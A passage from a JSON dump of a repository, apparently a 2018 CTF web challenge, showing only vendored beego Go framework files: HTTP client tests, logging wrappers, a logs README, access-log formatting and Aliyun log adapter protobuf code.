{\n\t\tt.Fatal(err)\n\t}\n\tt.Log(str)\n\n\tn := strings.Index(str, v)\n\tif n == -1 {\n\t\tt.Fatal(v + \" not found in user-agent\")\n\t}\n}\n\nfunc TestWithSetting(t *testing.T) {\n\tv := \"beego\"\n\tvar setting BeegoHTTPSettings\n\tsetting.EnableCookie = true\n\tsetting.UserAgent = v\n\tsetting.Transport = nil\n\tsetting.ReadWriteTimeout = 5 * time.Second\n\tSetDefaultSetting(setting)\n\n\tstr, err := Get(\"http://httpbin.org/get\").String()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tt.Log(str)\n\n\tn := strings.Index(str, v)\n\tif n == -1 {\n\t\tt.Fatal(v + \" not found in user-agent\")\n\t}\n}\n\nfunc TestToJson(t *testing.T) {\n\treq := Get(\"http://httpbin.org/ip\")\n\tresp, err := req.Response()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tt.Log(resp)\n\n\t// httpbin will return http remote addr\n\ttype IP struct {\n\t\tOrigin string `json:\"origin\"`\n\t}\n\tvar ip IP\n\terr = req.ToJSON(&ip)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tt.Log(ip.Origin)\n\n\tif n := strings.Count(ip.Origin, \".\"); n != 3 {\n\t\tt.Fatal(\"response is not valid ip\")\n\t}\n}\n\nfunc TestToFile(t *testing.T) {\n\tf := \"beego_testfile\"\n\treq := Get(\"http://httpbin.org/ip\")\n\terr := req.ToFile(f)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer os.Remove(f)\n\tb, err := ioutil.ReadFile(f)\n\tif n := strings.Index(string(b), \"origin\"); n == -1 {\n\t\tt.Fatal(err)\n\t}\n}\n\nfunc TestHeader(t *testing.T) {\n\treq := Get(\"http://httpbin.org/headers\")\n\treq.Header(\"User-Agent\", \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36\")\n\tstr, err := req.String()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tt.Log(str)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/log.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"strings\"\n\n\t\"github.com/astaxie/beego/logs\"\n)\n\n// Log levels to control the logging output.\nconst (\n\tLevelEmergency = iota\n\tLevelAlert\n\tLevelCritical\n\tLevelError\n\tLevelWarning\n\tLevelNotice\n\tLevelInformational\n\tLevelDebug\n)\n\n// BeeLogger references the used application logger.\nvar BeeLogger = logs.GetBeeLogger()\n\n// SetLevel sets the global log level used by the simple logger.\nfunc SetLevel(l int) {\n\tlogs.SetLevel(l)\n}\n\n// SetLogFuncCall set the CallDepth, default is 3\nfunc SetLogFuncCall(b bool) {\n\tlogs.SetLogFuncCall(b)\n}\n\n// SetLogger sets a new logger.\nfunc SetLogger(adaptername string, config string) error {\n\treturn logs.SetLogger(adaptername, config)\n}\n\n// Emergency logs a message at emergency level.\nfunc Emergency(v ...interface{}) {\n\tlogs.Emergency(generateFmtStr(len(v)), v...)\n}\n\n// Alert logs a message at alert level.\nfunc Alert(v ...interface{}) {\n\tlogs.Alert(generateFmtStr(len(v)), v...)\n}\n\n// Critical logs a message at critical level.\nfunc Critical(v ...interface{}) {\n\tlogs.Critical(generateFmtStr(len(v)), v...)\n}\n\n// Error logs a message at error level.\nfunc Error(v ...interface{}) {\n\tlogs.Error(generateFmtStr(len(v)), v...)\n}\n\n// Warning logs a message at warning level.\nfunc Warning(v ...interface{}) {\n\tlogs.Warning(generateFmtStr(len(v)), v...)\n}\n\n// Warn compatibility alias for Warning()\nfunc Warn(v ...interface{}) {\n\tlogs.Warn(generateFmtStr(len(v)), v...)\n}\n\n// Notice logs a message at notice level.\nfunc Notice(v ...interface{}) {\n\tlogs.Notice(generateFmtStr(len(v)), v...)\n}\n\n// Informational logs a message at info level.\nfunc Informational(v ...interface{}) {\n\tlogs.Informational(generateFmtStr(len(v)), v...)\n}\n\n// Info compatibility alias for Warning()\nfunc Info(v ...interface{}) {\n\tlogs.Info(generateFmtStr(len(v)), v...)\n}\n\n// Debug logs a message at debug level.\nfunc Debug(v ...interface{}) {\n\tlogs.Debug(generateFmtStr(len(v)), v...)\n}\n\n// Trace logs a message at trace level.\n// compatibility alias for Warning()\nfunc Trace(v ...interface{}) {\n\tlogs.Trace(generateFmtStr(len(v)), v...)\n}\n\nfunc generateFmtStr(n int) string {\n\treturn strings.Repeat(\"%v \", n)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/README.md",
    "content": "## logs\nlogs is a Go logs manager. It can use many logs adapters. The repo is inspired by `database/sql` .\n\n\n## How to install?\n\n\tgo get github.com/astaxie/beego/logs\n\n\n## What adapters are supported?\n\nAs of now this logs support console, file,smtp and conn.\n\n\n## How to use it?\n\nFirst you must import it\n\n\timport (\n\t\t\"github.com/astaxie/beego/logs\"\n\t)\n\nThen init a Log (example with console adapter)\n\n\tlog := NewLogger(10000)\n\tlog.SetLogger(\"console\", \"\")\t\n\n> the first params stand for how many channel\n\nUse it like this:\t\n\t\n\tlog.Trace(\"trace\")\n\tlog.Info(\"info\")\n\tlog.Warn(\"warning\")\n\tlog.Debug(\"debug\")\n\tlog.Critical(\"critical\")\n\n\n## File adapter\n\nConfigure file adapter like this:\n\n\tlog := NewLogger(10000)\n\tlog.SetLogger(\"file\", `{\"filename\":\"test.log\"}`)\n\n\n## Conn adapter\n\nConfigure like this:\n\n\tlog := NewLogger(1000)\n\tlog.SetLogger(\"conn\", `{\"net\":\"tcp\",\"addr\":\":7020\"}`)\n\tlog.Info(\"info\")\n\n\n## Smtp adapter\n\nConfigure like this:\n\n\tlog := NewLogger(10000)\n\tlog.SetLogger(\"smtp\", `{\"username\":\"beegotest@gmail.com\",\"password\":\"xxxxxxxx\",\"host\":\"smtp.gmail.com:587\",\"sendTos\":[\"xiemengjun@gmail.com\"]}`)\n\tlog.Critical(\"sendmail critical\")\n\ttime.Sleep(time.Second * 30)\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/accesslog.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage logs\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"time\"\n\t\"fmt\"\n)\n\nconst (\n\tapacheFormatPattern = \"%s - - [%s] \\\"%s %d %d\\\" %f %s %s\\n\"\n\tapacheFormat        = \"APACHE_FORMAT\"\n\tjsonFormat          = \"JSON_FORMAT\"\n)\n\n// AccessLogRecord struct for holding access log data.\ntype AccessLogRecord struct {\n\tRemoteAddr     string        `json:\"remote_addr\"`\n\tRequestTime    time.Time     `json:\"request_time\"`\n\tRequestMethod  string        `json:\"request_method\"`\n\tRequest        string        `json:\"request\"`\n\tServerProtocol string        `json:\"server_protocol\"`\n\tHost           string        `json:\"host\"`\n\tStatus         int           `json:\"status\"`\n\tBodyBytesSent  int64         `json:\"body_bytes_sent\"`\n\tElapsedTime    time.Duration `json:\"elapsed_time\"`\n\tHTTPReferrer   string        `json:\"http_referrer\"`\n\tHTTPUserAgent  string        `json:\"http_user_agent\"`\n\tRemoteUser     string        `json:\"remote_user\"`\n}\n\nfunc (r *AccessLogRecord) json() ([]byte, error) {\n\tbuffer := &bytes.Buffer{}\n\tencoder := json.NewEncoder(buffer)\n\tdisableEscapeHTML(encoder)\n\n\terr := encoder.Encode(r)\n\treturn buffer.Bytes(), err\n}\n\nfunc disableEscapeHTML(i interface{}) {\n\te, ok := i.(interface {\n\t\tSetEscapeHTML(bool)\n\t});\n\tif ok {\n\t\te.SetEscapeHTML(false)\n\t}\n}\n\n// AccessLog - Format and print access log.\nfunc AccessLog(r *AccessLogRecord, format string) {\n\tvar msg string\n\n\tswitch format {\n\n\tcase apacheFormat:\n\t\ttimeFormatted := r.RequestTime.Format(\"02/Jan/2006 03:04:05\")\n\t\tmsg = fmt.Sprintf(apacheFormatPattern, r.RemoteAddr, timeFormatted, r.Request, r.Status, r.BodyBytesSent,\n\t\t\tr.ElapsedTime.Seconds(), r.HTTPReferrer, r.HTTPUserAgent)\n\tcase jsonFormat:\n\t\tfallthrough\n\tdefault:\n\t\tjsonData, err := r.json()\n\t\tif err != nil {\n\t\t\tmsg = fmt.Sprintf(`{\"Error\": \"%s\"}`, err)\n\t\t} else {\n\t\t\tmsg = string(jsonData)\n\t\t}\n\t}\n\n\tbeeLogger.Debug(msg)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/alils/alils.go",
    "content": "package alils\n\nimport (\n\t\"encoding/json\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/astaxie/beego/logs\"\n\t\"github.com/gogo/protobuf/proto\"\n)\n\nconst (\n\t// CacheSize set the flush size\n\tCacheSize int = 64\n\t// Delimiter define the topic delimiter\n\tDelimiter string = \"##\"\n)\n\n// Config is the Config for Ali Log\ntype Config struct {\n\tProject   string   `json:\"project\"`\n\tEndpoint  string   `json:\"endpoint\"`\n\tKeyID     string   `json:\"key_id\"`\n\tKeySecret string   `json:\"key_secret\"`\n\tLogStore  string   `json:\"log_store\"`\n\tTopics    []string `json:\"topics\"`\n\tSource    string   `json:\"source\"`\n\tLevel     int      `json:\"level\"`\n\tFlushWhen int      `json:\"flush_when\"`\n}\n\n// aliLSWriter implements LoggerInterface.\n// it writes messages in keep-live tcp connection.\ntype aliLSWriter struct {\n\tstore    *LogStore\n\tgroup    []*LogGroup\n\twithMap  bool\n\tgroupMap map[string]*LogGroup\n\tlock     *sync.Mutex\n\tConfig\n}\n\n// NewAliLS create a new Logger\nfunc NewAliLS() logs.Logger {\n\talils := new(aliLSWriter)\n\talils.Level = logs.LevelTrace\n\treturn alils\n}\n\n// Init parse config and init struct\nfunc (c *aliLSWriter) Init(jsonConfig string) (err error) {\n\n\tjson.Unmarshal([]byte(jsonConfig), c)\n\n\tif c.FlushWhen > CacheSize {\n\t\tc.FlushWhen = CacheSize\n\t}\n\n\tprj := &LogProject{\n\t\tName:            c.Project,\n\t\tEndpoint:        c.Endpoint,\n\t\tAccessKeyID:     c.KeyID,\n\t\tAccessKeySecret: c.KeySecret,\n\t}\n\n\tc.store, err = prj.GetLogStore(c.LogStore)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Create default Log Group\n\tc.group = append(c.group, &LogGroup{\n\t\tTopic:  proto.String(\"\"),\n\t\tSource: proto.String(c.Source),\n\t\tLogs:   make([]*Log, 0, c.FlushWhen),\n\t})\n\n\t// Create other Log Group\n\tc.groupMap = make(map[string]*LogGroup)\n\tfor _, topic := range c.Topics {\n\n\t\tlg := &LogGroup{\n\t\t\tTopic:  proto.String(topic),\n\t\t\tSource: proto.String(c.Source),\n\t\t\tLogs:   make([]*Log, 0, c.FlushWhen),\n\t\t}\n\n\t\tc.group = append(c.group, lg)\n\t\tc.groupMap[topic] = lg\n\t}\n\n\tif len(c.group) == 1 {\n\t\tc.withMap = false\n\t} else {\n\t\tc.withMap = true\n\t}\n\n\tc.lock = &sync.Mutex{}\n\n\treturn nil\n}\n\n// WriteMsg write message in connection.\n// if connection is down, try to re-connect.\nfunc (c *aliLSWriter) WriteMsg(when time.Time, msg string, level int) (err error) {\n\n\tif level > c.Level {\n\t\treturn nil\n\t}\n\n\tvar topic string\n\tvar content string\n\tvar lg *LogGroup\n\tif c.withMap {\n\n\t\t// Topic，LogGroup\n\t\tstrs := strings.SplitN(msg, Delimiter, 2)\n\t\tif len(strs) == 2 {\n\t\t\tpos := strings.LastIndex(strs[0], \" \")\n\t\t\ttopic = strs[0][pos+1 : len(strs[0])]\n\t\t\tcontent = strs[0][0:pos] + strs[1]\n\t\t\tlg = c.groupMap[topic]\n\t\t}\n\n\t\t// send to empty Topic\n\t\tif lg == nil {\n\t\t\tcontent = msg\n\t\t\tlg = c.group[0]\n\t\t}\n\t} else {\n\t\tcontent = msg\n\t\tlg = c.group[0]\n\t}\n\n\tc1 := &LogContent{\n\t\tKey:   proto.String(\"msg\"),\n\t\tValue: proto.String(content),\n\t}\n\n\tl := &Log{\n\t\tTime: proto.Uint32(uint32(when.Unix())),\n\t\tContents: []*LogContent{\n\t\t\tc1,\n\t\t},\n\t}\n\n\tc.lock.Lock()\n\tlg.Logs = append(lg.Logs, l)\n\tc.lock.Unlock()\n\n\tif len(lg.Logs) >= c.FlushWhen {\n\t\tc.flush(lg)\n\t}\n\n\treturn nil\n}\n\n// Flush implementing method. empty.\nfunc (c *aliLSWriter) Flush() {\n\n\t// flush all group\n\tfor _, lg := range c.group {\n\t\tc.flush(lg)\n\t}\n}\n\n// Destroy destroy connection writer and close tcp listener.\nfunc (c *aliLSWriter) Destroy() {\n}\n\nfunc (c *aliLSWriter) flush(lg *LogGroup) {\n\n\tc.lock.Lock()\n\tdefer c.lock.Unlock()\n\terr := c.store.PutLogs(lg)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tlg.Logs = make([]*Log, 0, c.FlushWhen)\n}\n\nfunc init() {\n\tlogs.Register(logs.AdapterAliLS, NewAliLS)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/alils/config.go",
    "content": "package alils\n\nconst (\n\tversion         = \"0.5.0\"     // SDK version\n\tsignatureMethod = \"hmac-sha1\" // Signature method\n\n\t// OffsetNewest stands for the log head offset, i.e. the offset that will be\n\t// assigned to the next message that will be produced to the shard.\n\tOffsetNewest = \"end\"\n\t// OffsetOldest stands for the oldest offset available on the logstore for a\n\t// shard.\n\tOffsetOldest = \"begin\"\n)\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/alils/log.pb.go",
    "content": "package alils\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"math\"\n\n\t\"github.com/gogo/protobuf/proto\"\n\tgithub_com_gogo_protobuf_proto \"github.com/gogo/protobuf/proto\"\n)\n\n// Reference imports to suppress errors if they are not otherwise used.\nvar _ = proto.Marshal\nvar _ = fmt.Errorf\nvar _ = math.Inf\n\nvar (\n\t// ErrInvalidLengthLog invalid proto\n\tErrInvalidLengthLog = fmt.Errorf(\"proto: negative length found during unmarshaling\")\n\t// ErrIntOverflowLog overflow\n\tErrIntOverflowLog = fmt.Errorf(\"proto: integer overflow\")\n)\n\n// Log define the proto Log\ntype Log struct {\n\tTime            *uint32       `protobuf:\"varint,1,req,name=Time\" json:\"Time,omitempty\"`\n\tContents        []*LogContent `protobuf:\"bytes,2,rep,name=Contents\" json:\"Contents,omitempty\"`\n\tXXXUnrecognized []byte        `json:\"-\"`\n}\n\n// Reset the Log\nfunc (m *Log) Reset() { *m = Log{} }\n\n// String return the Compact Log\nfunc (m *Log) String() string { return proto.CompactTextString(m) }\n\n// ProtoMessage not implemented\nfunc (*Log) ProtoMessage() {}\n\n// GetTime return the Log's Time\nfunc (m *Log) GetTime() uint32 {\n\tif m != nil && m.Time != nil {\n\t\treturn *m.Time\n\t}\n\treturn 0\n}\n\n// GetContents return the Log's Contents\nfunc (m *Log) GetContents() []*LogContent {\n\tif m != nil {\n\t\treturn m.Contents\n\t}\n\treturn nil\n}\n\n// LogContent define the Log content struct\ntype LogContent struct {\n\tKey             *string `protobuf:\"bytes,1,req,name=Key\" json:\"Key,omitempty\"`\n\tValue           *string `protobuf:\"bytes,2,req,name=Value\" json:\"Value,omitempty\"`\n\tXXXUnrecognized []byte  `json:\"-\"`\n}\n\n// Reset LogContent\nfunc (m *LogContent) Reset() { *m = LogContent{} }\n\n// String return the compact text\nfunc (m *LogContent) String() string { return proto.CompactTextString(m) }\n\n// ProtoMessage not implemented\nfunc (*LogContent) ProtoMessage() {}\n\n// GetKey return the Key\nfunc (m *LogContent) GetKey() string {\n\tif m != nil && m.Key != nil {\n\t\treturn *m.Key\n\t}\n\treturn \"\"\n}\n\n// GetValue return the Value\nfunc (m *LogContent) GetValue() string {\n\tif m != nil && m.Value != nil {\n\t\treturn *m.Value\n\t}\n\treturn \"\"\n}\n\n// LogGroup define the logs struct\ntype LogGroup struct {\n\tLogs            []*Log  `protobuf:\"bytes,1,rep,name=Logs\" json:\"Logs,omitempty\"`\n\tReserved        *string `protobuf:\"bytes,2,opt,name=Reserved\" json:\"Reserved,omitempty\"`\n\tTopic           *string `protobuf:\"bytes,3,opt,name=Topic\" json:\"Topic,omitempty\"`\n\tSource          *string `protobuf:\"bytes,4,opt,name=Source\" json:\"Source,omitempty\"`\n\tXXXUnrecognized []byte  `json:\"-\"`\n}\n\n// Reset LogGroup\nfunc (m *LogGroup) Reset() { *m = LogGroup{} }\n\n// String return the compact text\nfunc (m *LogGroup) String() string { return proto.CompactTextString(m) }\n\n// ProtoMessage not implemented\nfunc (*LogGroup) ProtoMessage() {}\n\n// GetLogs return the loggroup logs\nfunc (m *LogGroup) GetLogs() []*Log {\n\tif m != nil {\n\t\treturn m.Logs\n\t}\n\treturn nil\n}\n\n// GetReserved return Reserved\nfunc (m *LogGroup) GetReserved() string {\n\tif m != nil && m.Reserved != nil {\n\t\treturn *m.Reserved\n\t}\n\treturn \"\"\n}\n\n// GetTopic return Topic\nfunc (m *LogGroup) GetTopic() string {\n\tif m != nil && m.Topic != nil {\n\t\treturn *m.Topic\n\t}\n\treturn \"\"\n}\n\n// GetSource return Source\nfunc (m *LogGroup) GetSource() string {\n\tif m != nil && m.Source != nil {\n\t\treturn *m.Source\n\t}\n\treturn \"\"\n}\n\n// LogGroupList define the LogGroups\ntype LogGroupList struct {\n\tLogGroups       []*LogGroup `protobuf:\"bytes,1,rep,name=logGroups\" json:\"logGroups,omitempty\"`\n\tXXXUnrecognized []byte      `json:\"-\"`\n}\n\n// Reset LogGroupList\nfunc (m *LogGroupList) Reset() { *m = LogGroupList{} }\n\n// String return compact text\nfunc (m *LogGroupList) String() string { return proto.CompactTextString(m) }\n\n// ProtoMessage not implemented\nfunc (*LogGroupList) ProtoMessage() {}\n\n// GetLogGroups return the LogGroups\nfunc (m *LogGroupList) GetLogGroups() []*LogGroup {\n\tif m != nil {\n\t\treturn m.LogGroups\n\t}\n\treturn nil\n}\n\n// Marshal the logs to byte slice\nfunc (m *Log) Marshal() (data []byte, err error) {\n\tsize := m.Size()\n\tdata = make([]byte, size)\n\tn, err := m.MarshalTo(data)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn data[:n], nil\n}\n\n// MarshalTo data\nfunc (m *Log) MarshalTo(data []byte) (int, error) {\n\tvar i int\n\t_ = i\n\tvar l int\n\t_ = l\n\tif m.Time == nil {\n\t\treturn 0, github_com_gogo_protobuf_proto.NewRequiredNotSetError(\"Time\")\n\t}\n\tdata[i] = 0x8\n\ti++\n\ti = encodeVarintLog(data, i, uint64(*m.Time))\n\tif len(m.Contents) > 0 {\n\t\tfor _, msg := range m.Contents {\n\t\t\tdata[i] = 0x12\n\t\t\ti++\n\t\t\ti = encodeVarintLog(data, i, uint64(msg.Size()))\n\t\t\tn, err := msg.MarshalTo(data[i:])\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t\ti += n\n\t\t}\n\t}\n\tif m.XXXUnrecognized != nil {\n\t\ti += copy(data[i:], m.XXXUnrecognized)\n\t}\n\treturn i, nil\n}\n\n// Marshal LogContent\nfunc (m *LogContent) Marshal() (data []byte, err error) {\n\tsize := m.Size()\n\tdata = make([]byte, size)\n\tn, err := m.MarshalTo(data)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn data[:n], nil\n}\n\n// MarshalTo logcontent to data\nfunc (m *LogContent) MarshalTo(data []byte) (int, error) {\n\tvar i int\n\t_ = i\n\tvar l int\n\t_ = l\n\tif m.Key == nil {\n\t\treturn 0, github_com_gogo_protobuf_proto.NewRequiredNotSetError(\"Key\")\n\t}\n\tdata[i] = 0xa\n\ti++\n\ti = encodeVarintLog(data, i, uint64(len(*m.Key)))\n\ti += copy(data[i:], *m.Key)\n\n\tif m.Value == nil {\n\t\treturn 0, github_com_gogo_protobuf_proto.NewRequiredNotSetError(\"Value\")\n\t}\n\tdata[i] = 0x12\n\ti++\n\ti = encodeVarintLog(data, i, uint64(len(*m.Value)))\n\ti += copy(data[i:], *m.Value)\n\tif m.XXXUnrecognized != nil {\n\t\ti += copy(data[i:], m.XXXUnrecognized)\n\t}\n\treturn i, nil\n}\n\n// Marshal LogGroup\nfunc (m *LogGroup) Marshal() (data []byte, err error) {\n\tsize := m.Size()\n\tdata = make([]byte, size)\n\tn, err := m.MarshalTo(data)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn data[:n], nil\n}\n\n// MarshalTo LogGroup to data\nfunc (m *LogGroup) MarshalTo(data []byte) (int, error) {\n\tvar i int\n\t_ = i\n\tvar l int\n\t_ = l\n\tif len(m.Logs) > 0 {\n\t\tfor _, msg := range m.Logs {\n\t\t\tdata[i] = 0xa\n\t\t\ti++\n\t\t\ti = encodeVarintLog(data, i, uint64(msg.Size()))\n\t\t\tn, err := msg.MarshalTo(data[i:])\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t\ti += n\n\t\t}\n\t}\n\tif m.Reserved != nil {\n\t\tdata[i] = 0x12\n\t\ti++\n\t\ti = encodeVarintLog(data, i, uint64(len(*m.Reserved)))\n\t\ti += copy(data[i:], *m.Reserved)\n\t}\n\tif m.Topic != nil {\n\t\tdata[i] = 0x1a\n\t\ti++\n\t\ti = encodeVarintLog(data, i, uint64(len(*m.Topic)))\n\t\ti += copy(data[i:], *m.Topic)\n\t}\n\tif m.Source != nil {\n\t\tdata[i] = 0x22\n\t\ti++\n\t\ti = encodeVarintLog(data, i, uint64(len(*m.Source)))\n\t\ti += copy(data[i:], *m.Source)\n\t}\n\tif m.XXXUnrecognized != nil {\n\t\ti += copy(data[i:], m.XXXUnrecognized)\n\t}\n\treturn i, nil\n}\n\n// Marshal LogGroupList\nfunc (m *LogGroupList) Marshal() (data []byte, err error) {\n\tsize := m.Size()\n\tdata = make([]byte, size)\n\tn, err := m.MarshalTo(data)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn data[:n], nil\n}\n\n// MarshalTo LogGroupList to data\nfunc (m *LogGroupList) MarshalTo(data []byte) (int, error) {\n\tvar i int\n\t_ = i\n\tvar l int\n\t_ = l\n\tif len(m.LogGroups) > 0 {\n\t\tfor _, msg := range m.LogGroups {\n\t\t\tdata[i] = 0xa\n\t\t\ti++\n\t\t\ti = encodeVarintLog(data, i, uint64(msg.Size()))\n\t\t\tn, err := msg.MarshalTo(data[i:])\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t\ti += n\n\t\t}\n\t}\n\tif m.XXXUnrecognized != nil {\n\t\ti += copy(data[i:], m.XXXUnrecognized)\n\t}\n\treturn i, nil\n}\n\nfunc encodeFixed64Log(data []byte, offset int, v uint64) int {\n\tdata[offset] = uint8(v)\n\tdata[offset+1] = uint8(v >> 8)\n\tdata[offset+2] = uint8(v >> 16)\n\tdata[offset+3] = uint8(v >> 24)\n\tdata[offset+4] = uint8(v >> 32)\n\tdata[offset+5] = uint8(v >> 40)\n\tdata[offset+6] = uint8(v >> 48)\n\tdata[offset+7] = uint8(v >> 56)\n\treturn offset + 8\n}\nfunc encodeFixed32Log(data []byte, offset int, v uint32) int {\n\tdata[offset] = uint8(v)\n\tdata[offset+1] = uint8(v >> 8)\n\tdata[offset+2] = uint8(v >> 16)\n\tdata[offset+3] = uint8(v >> 24)\n\treturn offset + 4\n}\nfunc encodeVarintLog(data []byte, offset int, v uint64) int {\n\tfor v >= 1<<7 {\n\t\tdata[offset] = uint8(v&0x7f | 0x80)\n\t\tv >>= 7\n\t\toffset++\n\t}\n\tdata[offset] = uint8(v)\n\treturn offset + 1\n}\n\n// Size return the log's size\nfunc (m *Log) Size() (n int) {\n\tvar l int\n\t_ = l\n\tif m.Time != nil {\n\t\tn += 1 + sovLog(uint64(*m.Time))\n\t}\n\tif len(m.Contents) > 0 {\n\t\tfor _, e := range m.Contents {\n\t\t\tl = e.Size()\n\t\t\tn += 1 + l + sovLog(uint64(l))\n\t\t}\n\t}\n\tif m.XXXUnrecognized != nil {\n\t\tn += len(m.XXXUnrecognized)\n\t}\n\treturn n\n}\n\n// Size return LogContent size based on Key and Value\nfunc (m *LogContent) Size() (n int) {\n\tvar l int\n\t_ = l\n\tif m.Key != nil {\n\t\tl = len(*m.Key)\n\t\tn += 1 + l + sovLog(uint64(l))\n\t}\n\tif m.Value != nil {\n\t\tl = len(*m.Value)\n\t\tn += 1 + l + sovLog(uint64(l))\n\t}\n\tif m.XXXUnrecognized != nil {\n\t\tn += len(m.XXXUnrecognized)\n\t}\n\treturn n\n}\n\n// Size return LogGroup size based on Logs\nfunc (m *LogGroup) Size() (n int) {\n\tvar l int\n\t_ = l\n\tif len(m.Logs) > 0 {\n\t\tfor _, e := range m.Logs {\n\t\t\tl = e.Size()\n\t\t\tn += 1 + l + sovLog(uint64(l))\n\t\t}\n\t}\n\tif m.Reserved != nil {\n\t\tl = len(*m.Reserved)\n\t\tn += 1 + l + sovLog(uint64(l))\n\t}\n\tif m.Topic != nil {\n\t\tl = len(*m.Topic)\n\t\tn += 1 + l + sovLog(uint64(l))\n\t}\n\tif m.Source != nil {\n\t\tl = len(*m.Source)\n\t\tn += 1 + l + sovLog(uint64(l))\n\t}\n\tif m.XXXUnrecognized != nil {\n\t\tn += len(m.XXXUnrecognized)\n\t}\n\treturn n\n}\n\n// Size return LogGroupList size\nfunc (m *LogGroupList) Size() (n int) {\n\tvar l int\n\t_ = l\n\tif len(m.LogGroups) > 0 {\n\t\tfor _, e := range m.LogGroups {\n\t\t\tl = e.Size()\n\t\t\tn += 1 + l + sovLog(uint64(l))\n\t\t}\n\t}\n\tif m.XXXUnrecognized != nil {\n\t\tn += len(m.XXXUnrecognized)\n\t}\n\treturn n\n}\n\nfunc sovLog(x uint64) (n int) {\n\tfor {\n\t\tn++\n\t\tx >>= 7\n\t\tif x == 0 {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn n\n}\nfunc sozLog(x uint64) (n int) {\n\treturn sovLog((x << 1) ^ (x >> 63))\n}\n\n// Unmarshal data to log\nfunc (m *Log) Unmarshal(data []byte) error {\n\tvar hasFields [1]uint64\n\tl := len(data)\n\tiNdEx := 0\n\tfor iNdEx < l {\n\t\tpreIndex := iNdEx\n\t\tvar wire uint64\n\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\tif shift >= 64 {\n\t\t\t\treturn ErrIntOverflowLog\n\t\t\t}\n\t\t\tif iNdEx >= l {\n\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tb := data[iNdEx]\n\t\t\tiNdEx++\n\t\t\twire |= (uint64(b) & 0x7F) << shift\n\t\t\tif b < 0x80 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tfieldNum := int32(wire >> 3)\n\t\twireType := int(wire & 0x7)\n\t\tif wireType == 4 {\n\t\t\treturn fmt.Errorf(\"proto: Log: wiretype end group for non-group\")\n\t\t}\n\t\tif fieldNum <= 0 {\n\t\t\treturn fmt.Errorf(\"proto: Log: illegal tag %d (wire type %d)\", fieldNum, wire)\n\t\t}\n\t\tswitch fieldNum {\n\t\tcase 1:\n\t\t\tif wireType != 0 {\n\t\t\t\treturn fmt.Errorf(\"proto: wrong wireType = %d for field Time\", wireType)\n\t\t\t}\n\t\t\tvar v uint32\n\t\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\t\tif shift >= 64 {\n\t\t\t\t\treturn ErrIntOverflowLog\n\t\t\t\t}\n\t\t\t\tif iNdEx >= l {\n\t\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t\t}\n\t\t\t\tb := data[iNdEx]\n\t\t\t\tiNdEx++\n\t\t\t\tv |= (uint32(b) & 0x7F) << shift\n\t\t\t\tif b < 0x80 {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tm.Time = &v\n\t\t\thasFields[0] |= uint64(0x00000001)\n\t\tcase 2:\n\t\t\tif wireType != 2 {\n\t\t\t\treturn fmt.Errorf(\"proto: wrong wireType = %d for field Contents\", wireType)\n\t\t\t}\n\t\t\tvar msglen int\n\t\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\t\tif shift >= 64 {\n\t\t\t\t\treturn ErrIntOverflowLog\n\t\t\t\t}\n\t\t\t\tif iNdEx >= l {\n\t\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t\t}\n\t\t\t\tb := data[iNdEx]\n\t\t\t\tiNdEx++\n\t\t\t\tmsglen |= (int(b) & 0x7F) << shift\n\t\t\t\tif b < 0x80 